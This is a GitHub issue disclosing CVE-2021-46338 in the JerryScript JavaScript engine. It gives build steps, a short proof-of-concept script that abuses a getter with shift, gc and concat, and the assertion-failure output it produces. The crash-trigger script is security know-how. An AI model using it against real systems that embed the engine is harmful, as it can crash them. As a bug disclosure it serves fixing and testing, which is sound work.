CVE-2021-46338: Assertion 'ecma_is_lexical_environment (object_p)' failed at ecma-helpers.c (ecma_get_lex_env_type). · Issue #4900 · jerryscript-project/jerryscript

JerryScript revision

Commit: 42523bd6

Version: v3.0.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --linker-flag=-fuse-ld=gold --profile=es2015-subset --stack-limit=20

ASAN closed

Test case

var i = 0; var a = []; var JSEtest = [];

JSEtest.__defineGetter__(0, function NaN() { if (i++ > 2) { return; }

JSEtest.shift(); gc(); a.push(0); a.concat(JSEtest); });

JSEtest[0];

​

Execution steps & Output

$ ./jerryscript/build/bin/jerry poc.js

ICE: Assertion 'ecma_is_lexical_environment (object_p)' failed at /home/f1yh0p/jerryscript/jerry-core/ecma/base/ecma-helpers.c(ecma_get_lex_env_type):291. Error: ERR_FAILED_INTERNAL_ASSERTION

Credits: Found by OWL337 team.